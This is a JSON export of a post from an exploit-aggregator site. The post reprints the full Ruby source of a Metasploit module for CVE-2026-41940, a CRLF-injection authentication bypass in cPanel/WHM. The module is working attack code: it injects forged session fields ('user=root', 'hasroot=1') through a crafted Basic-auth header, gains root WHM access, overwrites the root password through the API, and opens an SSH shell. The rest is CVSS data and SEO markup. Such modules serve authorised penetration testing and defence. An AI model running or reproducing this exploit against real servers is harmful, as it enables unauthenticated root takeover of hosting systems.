{"id":55360,"date":"2026-05-18T14:51:36","date_gmt":"2026-05-18T14:51:36","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=55360"},"modified":"2026-05-18T14:51:36","modified_gmt":"2026-05-18T14:51:36","slug":"cpanelwhm-crlf-injection-authentication-bypass-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=55360","title":{"rendered":"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-18T19:28:13&#8243;,&#8221;description&#8221;:&#8221;Exploits CVE-2026-41940, a CRLF injection in cPanel\/WHM&#8217;s cpsrvd daemon that allows unauthenticated remote code execution as root. The Basic-auth handler writes the password to the raw session file without stripping newlines. Omitting the ob-part of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-18T19:02:36&#8243;,&#8221;modified&#8221;:&#8221;2026-05-18T19:02:36&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;cPanel\/WHM CRLF Injection Authentication Bypass RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-41940&#8243;],&#8221;sourceData&#8221;:&#8221;# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;net\/ssh&#8217;\\nrequire &#8216;net\/ssh\/command_stream&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Exploit::Remote::SSH\\n  include Msf::Exploit::Retry\\n  include Msf::Auxiliary::Report\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;cPanel\/WHM CRLF Injection Authentication Bypass RCE&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          Exploits CVE-2026-41940, a CRLF injection in cPanel\/WHM&#8217;s cpsrvd daemon\\n          that allows unauthenticated remote code execution as root.\\n\\n          The Basic-auth handler writes the password to the raw session file without\\n          stripping newlines. Omitting the ob-part of the session cookie bypasses the\\n          encoder, so injected fields land verbatim in the raw file. A subsequent\\n          request to \/scripts2\/listaccts triggers Cpanel::Session::Modify to promote\\n          those fields into the authoritative session cache, granting root WHM access.\\n\\n          RCE uses the WHM JSON API passwd endpoint to set a temporary root password,\\n          then delivers the payload over SSH. The password is rotated after exploitation.\\n          This module does not restore the original root password.\\n\\n          Affects all versions after 11.40. Fixed per branch: 11.86.0.41, 11.110.0.97,\\n          11.118.0.63, 11.124.0.35, 11.126.0.54, 11.130.0.19, 11.132.0.29, 11.134.0.20,\\n          11.136.0.5 (cPanel\/WHM) and 136.1.7 (WP2).\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Sina Kheirkhah&#8217;, # Initial analysis and PoC (watchTowr)\\n          &#8216;Adam Kues&#8217;,      # High-fidelity check technique (SLC Cyber)\\n          &#8216;Shubham Shah&#8217;,   # High-fidelity check technique (SLC Cyber)\\n          &#8216;Crypto-Cat&#8217;,     # Metasploit module (Rapid7)\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2026-41940&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/support.cpanel.net\/hc\/en-us\/articles\/40073787579671&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/labs.watchtowr.com\/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/slcyber.io\/research-center\/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/etr-cve-2026-41940-cpanel-whm-authentication-bypass\/&#8217;],\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-04-28&#8217;,\\n        &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n        &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;Compat&#8217; =\\u003e {\\n            &#8216;PayloadType&#8217; =\\u003e &#8216;cmd_interact&#8217;,\\n            &#8216;ConnectionType&#8217; =\\u003e &#8216;find&#8217;\\n          }\\n        },\\n        &#8216;Privileged&#8217; =\\u003e true,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Automatic&#8217;, {}],\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e 2087,\\n          &#8216;SSL&#8217; =\\u003e true\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, CONFIG_CHANGES]\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;WHM base path&#8217;, &#8216;\/&#8217;]),\\n      OptPort.new(&#8216;SSHPORT&#8217;, [true, &#8216;SSH port on the target&#8217;, 22])\\n    ])\\n\\n    register_advanced_options([\\n      OptBool.new(&#8216;DefangedMode&#8217;, [true, &#8216;Run in defanged mode&#8217;, true]),\\n      OptInt.new(&#8216;VerifyTimeout&#8217;, [true, &#8216;Seconds to wait for auth bypass to be confirmed after session cache promotion&#8217;, 10])\\n    ])\\n  end\\n\\n  def mint_session\\n    # Random username avoids cpHulk lockout; any user works on WHM for session minting\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;login&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;login_only&#8217; =\\u003e &#8216;1&#8217; },\\n      &#8216;vars_post&#8217; =\\u003e { &#8216;user&#8217; =\\u003e Rex::Text.rand_text_alpha(8), &#8216;pass&#8217; =\\u003e Rex::Text.rand_text_alpha(12) }\\n    )\\n    fail_with(Failure::Unreachable, &#8216;No response from \/login&#8217;) unless res\\n\\n    # MSF joins multiple Set-Cookie headers into one string; use get_cookies\\n    m = res.get_cookies.match(\/(?:\\\\A|;\\\\s*)whostmgrsession=([^;,\\\\s]+)\/i)\\n    fail_with(Failure::UnexpectedReply, &#8216;No whostmgrsession cookie in \/login response&#8217;) unless m\\n\\n    session_name = Rex::Text.uri_decode(m[1]).split(&#8216;,&#8217;, 2).first\\n    vprint_status(\\&#8221;Session name: #{session_name}\\&#8221;)\\n    session_name\\n  end\\n\\n  def inject_session_fields(session_name)\\n    # \\\\xff prefix bypasses set_pass() \\\\x00 check; LF-only separates injected fields\\n    raw_creds = \\&#8221;root:\\\\xff\\\\nsuccessful_internal_auth_with_timestamp=9999999999\\\\nuser=root\\\\ntfa_verified=1\\\\nhasroot=1\\&#8221;\\n    cookie_enc = Rex::Text.uri_encode(session_name)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Authorization&#8217; =\\u003e \\&#8221;Basic #{Rex::Text.encode_base64(raw_creds)}\\&#8221;,\\n        &#8216;Cookie&#8217; =\\u003e \\&#8221;whostmgrsession=#{cookie_enc}\\&#8221;\\n      }\\n    )\\n    fail_with(Failure::Unreachable, &#8216;No response from \/&#8217;) unless res\\n\\n    m = res.headers[&#8216;Location&#8217;].to_s.match(%r{(\/cpsess\\\\d{10})})\\n    fail_with(Failure::NotVulnerable, \\&#8221;No \/cpsessXXXX token in redirect (HTTP #{res.code}). Target may be patched.\\&#8221;) unless m\\n\\n    vprint_status(\\&#8221;Security token: #{m[1]}\\&#8221;)\\n    m[1]\\n  end\\n\\n  def promote_session_cache(session_name)\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;scripts2&#8217;, &#8216;listaccts&#8217;),\\n      &#8216;headers&#8217; =\\u003e { &#8216;Cookie&#8217; =\\u003e \\&#8221;whostmgrsession=#{Rex::Text.uri_encode(session_name)}\\&#8221; }\\n    )\\n    fail_with(Failure::Unreachable, &#8216;No response from \/scripts2\/listaccts&#8217;) unless res\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Unexpected response from listaccts (HTTP #{res.code})\\&#8221;) unless res.code == 401\\n\\n    vprint_status(&#8216;Session fields promoted to cache&#8217;)\\n  end\\n\\n  def verify_auth_bypass(session_name, token)\\n    # Retry until \/json-api\/version confirms auth or VerifyTimeout is reached.\\n    # do_token_denied promotes the raw session fields to the JSON cache asynchronously;\\n    # the first attempt may arrive before cpsrvd finishes writing the JSON cache file.\\n    retry_until_truthy(timeout: datastore[&#8216;VerifyTimeout&#8217;]) do\\n      res = send_request_cgi(\\n        &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n        &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, token, &#8216;json-api&#8217;, &#8216;version&#8217;),\\n        &#8216;headers&#8217; =\\u003e { &#8216;Cookie&#8217; =\\u003e \\&#8221;whostmgrsession=#{Rex::Text.uri_encode(session_name)}\\&#8221; }\\n      )\\n      res\\u0026.code == 200 \\u0026\\u0026 res.body.to_s.include?(&#8216;\\&#8221;version\\&#8221;&#8216;)\\n    end\\n  end\\n\\n  def whm_api_call(session_name, token, function, params = {})\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, token, &#8216;json-api&#8217;, function),\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;api.version&#8217; =\\u003e &#8216;1&#8217; },\\n      &#8216;vars_post&#8217; =\\u003e params,\\n      &#8216;headers&#8217; =\\u003e { &#8216;Cookie&#8217; =\\u003e \\&#8221;whostmgrsession=#{Rex::Text.uri_encode(session_name)}\\&#8221; }\\n    )\\n    fail_with(Failure::Unreachable, \\&#8221;No response from json-api\/#{function}\\&#8221;) unless res\\n\\n    res\\n  end\\n\\n  def check\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;login&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;login_only&#8217; =\\u003e &#8216;1&#8217; },\\n      &#8216;vars_post&#8217; =\\u003e { &#8216;user&#8217; =\\u003e Rex::Text.rand_text_alpha(8), &#8216;pass&#8217; =\\u003e Rex::Text.rand_text_alpha(12) }\\n    )\\n    return CheckCode::Unknown(&#8216;No response from \/login&#8217;) unless res\\n\\n    m = res.get_cookies.match(\/(?:\\\\A|;\\\\s*)whostmgrsession=([^;,\\\\s]+)\/i)\\n    return CheckCode::Unknown(&#8216;No whostmgrsession cookie from \/login&#8217;) unless m\\n\\n    cookie_full_raw = m[1]\\n    session_name = Rex::Text.uri_decode(cookie_full_raw).split(&#8216;,&#8217;, 2).first\\n\\n    # Inject expired=1 for a throwaway user to avoid lockout risk\\n    b64 = Rex::Text.encode_base64(\\&#8221;u#{Rex::Text.rand_text_hex(10)}:\\\\xff\\\\nexpired=1\\&#8221;)\\n\\n    res2 = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Authorization&#8217; =\\u003e \\&#8221;Basic #{b64}\\&#8221;,\\n        &#8216;Cookie&#8217; =\\u003e \\&#8221;whostmgrsession=#{Rex::Text.uri_encode(session_name)}\\&#8221;\\n      }\\n    )\\n    return CheckCode::Detected(&#8216;Service is running but injection endpoint did not respond&#8217;) unless res2\\n\\n    m2 = res2.headers[&#8216;Location&#8217;].to_s.match(%r{(\/cpsess\\\\d{10})})\\n    return CheckCode::Safe(&#8216;No cpsess token &#8211; injection did not land&#8217;) unless m2\\n\\n    # On a vulnerable target the injected expired=1 surfaces in the session page body\\n    res3 = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, m2[1], &#8216;\/&#8217;),\\n      &#8216;headers&#8217; =\\u003e { &#8216;Cookie&#8217; =\\u003e \\&#8221;whostmgrsession=#{cookie_full_raw}\\&#8221; }\\n    )\\n    return CheckCode::Detected(&#8216;Service is running and injection landed (cpsess token obtained), but verification request did not respond&#8217;) unless res3\\n\\n    body = res3.body.to_s\\n    if body.include?(&#8216;msg_code:[expired_session]&#8217;)\\n      return CheckCode::Vulnerable(&#8216;CRLF injection confirmed: expired_session marker detected&#8217;)\\n    end\\n\\n    CheckCode::Safe(&#8216;Injection payload was filtered &#8211; target appears patched&#8217;)\\n  end\\n\\n  def exploit\\n    if datastore[&#8216;DefangedMode&#8217;]\\n      fail_with(Failure::BadConfig, \\u003c\\u003c~MSG.squish)\\n        This module permanently changes the root password on the target system\\n        and does not restore the original value. Set DefangedMode to false if\\n        you have authorization to proceed.\\n      MSG\\n    end\\n\\n    tmp_pass = Rex::Text.rand_text_alphanumeric(16) + &#8216;!aA1&#8217;\\n\\n    print_status(&#8216;Minting pre-auth session&#8217;)\\n    session_name = mint_session\\n\\n    print_status(&#8216;Injecting session fields via CRLF&#8217;)\\n    token = inject_session_fields(session_name)\\n\\n    print_status(&#8216;Triggering session cache promotion&#8217;)\\n    promote_session_cache(session_name)\\n\\n    print_status(&#8216;Verifying WHM root access&#8217;)\\n    fail_with(Failure::NotVulnerable, &#8216;Auth bypass failed&#8217;) unless verify_auth_bypass(session_name, token)\\n    print_good(&#8216;Auth bypass successful &#8211; root WHM session obtained&#8217;)\\n\\n    report_vuln(\\n      host: rhost,\\n      port: rport,\\n      proto: &#8216;tcp&#8217;,\\n      name: &#8216;cPanel\/WHM CRLF Injection Authentication Bypass (CVE-2026-41940)&#8217;,\\n      info: &#8216;Unauthenticated root WHM session via CRLF injection in cpsrvd session handling&#8217;,\\n      refs: references\\n    )\\n\\n    print_status(&#8216;Setting temporary root password&#8217;)\\n    res = whm_api_call(session_name, token, &#8216;passwd&#8217;, &#8216;user&#8217; =\\u003e &#8216;root&#8217;, &#8216;password&#8217; =\\u003e tmp_pass)\\n    body = res.body.to_s\\n    passwd_json = nil\\n    begin\\n      passwd_json = res.get_json_document\\n    rescue StandardError\\n      nil\\n    end\\n\\n    if res.code == 500 \\u0026\\u0026 body.include?(&#8216;License&#8217;)\\n      fail_with(Failure::NoAccess, &#8216;WHM passwd API requires a valid cPanel license&#8217;)\\n    end\\n\\n    # cPanel versions have two different passwd API response formats:\\n    # &#8211; Older versions: {\\&#8221;status\\&#8221;: 1, &#8230;}\\n    # &#8211; Newer versions: {\\&#8221;metadata\\&#8221;: {\\&#8221;result\\&#8221;: 1}, &#8230;}\\n    # Accept either to maintain compatibility across versions.\\n    passwd_ok = passwd_json\\u0026.[](&#8216;status&#8217;) == 1 || passwd_json\\u0026.dig(&#8216;metadata&#8217;, &#8216;result&#8217;) == 1\\n    unless res.code == 200 \\u0026\\u0026 passwd_ok\\n      fail_with(Failure::UnexpectedReply, \\&#8221;passwd API returned HTTP #{res.code}: #{body[0..200]}\\&#8221;)\\n    end\\n    @tmp_pass_set = true\\n    print_good(&#8216;Root password set&#8217;)\\n\\n    print_status(&#8216;Connecting via SSH&#8217;)\\n    ssh = nil\\n    begin\\n      ::Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do\\n        ssh = Net::SSH.start(rhost, &#8216;root&#8217;, ssh_client_defaults.merge(\\n          auth_methods: [&#8216;password&#8217;],\\n          password: tmp_pass,\\n          port: datastore[&#8216;SSHPORT&#8217;]\\n        ))\\n      end\\n    rescue ::Net::SSH::AuthenticationFailed =\\u003e e\\n      restore_passwd(session_name, token)\\n      fail_with(Failure::NoAccess, \\&#8221;SSH authentication failed: #{e.message}\\&#8221;)\\n    rescue ::Net::SSH::Exception, ::Timeout::Error, ::EOFError =\\u003e e\\n      restore_passwd(session_name, token)\\n      fail_with(Failure::Unreachable, \\&#8221;SSH connection failed: #{e.message}\\&#8221;)\\n    end\\n\\n    # Use the SSH channel directly as the session.\\n    # handler(conn.lsock) must be the LAST call &#8211; it notifies the session waiter\\n    # event that ExploitDriver polls after exploit() returns.\\n    conn = Net::SSH::CommandStream.new(ssh, logger: self)\\n\\n    # Rotate the temporary password before handing off to the session.\\n    # This ensures the temp cred is short-lived even if the operator never\\n    # backgrounds the shell.\\n    if @tmp_pass_set\\n      print_status(&#8216;Rotating root password&#8217;)\\n      new_pass = Rex::Text.rand_text_alphanumeric(20) + &#8216;!aA1&#8217;\\n      rotated = false\\n      begin\\n        whm_api_call(session_name, token, &#8216;passwd&#8217;, &#8216;user&#8217; =\\u003e &#8216;root&#8217;, &#8216;password&#8217; =\\u003e new_pass)\\n        print_good(&#8216;Root password rotated&#8217;)\\n        @tmp_pass_set = false\\n        rotated = true\\n      rescue StandardError\\n        # If the passwd call fails (likely due to session expiration before rotation),\\n        # re-exploit to get a fresh auth bypass session and retry rotation.\\n        begin\\n          sn2 = mint_session\\n          tok2 = inject_session_fields(sn2)\\n          promote_session_cache(sn2)\\n          whm_api_call(sn2, tok2, &#8216;passwd&#8217;, &#8216;user&#8217; =\\u003e &#8216;root&#8217;, &#8216;password&#8217; =\\u003e new_pass)\\n          print_good(&#8216;Root password rotated&#8217;)\\n          @tmp_pass_set = false\\n          rotated = true\\n        rescue StandardError =\\u003e e\\n          print_warning(\\&#8221;Could not rotate root password: #{e.message}\\&#8221;)\\n          print_warning(&#8216;Root password may still be set to the temporary value&#8217;)\\n        end\\n      end\\n\\n      # Store credential separately so a database error does not trigger re-exploitation.\\n      # origin_type :service is required by create_credential_and_login when service_data\\n      # is explicitly provided.\\n      if rotated\\n        begin\\n          store_valid_credential(\\n            user: &#8216;root&#8217;,\\n            private: new_pass,\\n            service_data: {\\n              origin_type: :service,\\n              address: rhost,\\n              port: datastore[&#8216;SSHPORT&#8217;],\\n              service_name: &#8216;ssh&#8217;,\\n              protocol: &#8216;tcp&#8217;,\\n              workspace_id: myworkspace_id\\n            }\\n          )\\n        rescue StandardError =\\u003e e\\n          vprint_warning(\\&#8221;Could not save credential to database: #{e.message}\\&#8221;)\\n        end\\n      end\\n    end\\n\\n    handler(conn.lsock)\\n  ensure\\n    # If an exception was raised after password change but before session opens,\\n    # warn the operator that temporary credentials may still be active.\\n    if @tmp_pass_set\\n      print_warning(&#8216;Root password may still be set to the temporary value&#8217;)\\n    end\\n  end\\n\\n  private\\n\\n  def restore_passwd(session_name, token)\\n    whm_api_call(session_name, token, &#8216;passwd&#8217;,\\n                 &#8216;user&#8217; =\\u003e &#8216;root&#8217;, &#8216;password&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(20) + &#8216;!aA1&#8217;)\\n  rescue StandardError\\n    nil\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/cpanel_whm_auth_bypass_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/cpanel_whm_auth_bypass_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-18T19:28:13&#8243;,&#8221;description&#8221;:&#8221;Exploits CVE-2026-41940, a CRLF injection in cPanel\/WHM&#8217;s cpsrvd daemon that allows unauthenticated remote code execution as root. The Basic-auth handler writes the password to the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-55360","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=55360\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-18T19:28:13&#8243;,&#8221;description&#8221;:&#8221;Exploits CVE-2026-41940, a CRLF injection in cPanel\/WHM&#8217;s cpsrvd daemon that allows unauthenticated remote code execution as root. The Basic-auth handler writes the password to the...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=55360\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-18T14:51:36+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"cPanel\\\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE-\",\"datePublished\":\"2026-05-18T14:51:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360\"},\"wordCount\":2410,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55360#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360\",\"name\":\"cPanel\\\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-18T14:51:36+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55360\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55360#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"cPanel\\\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 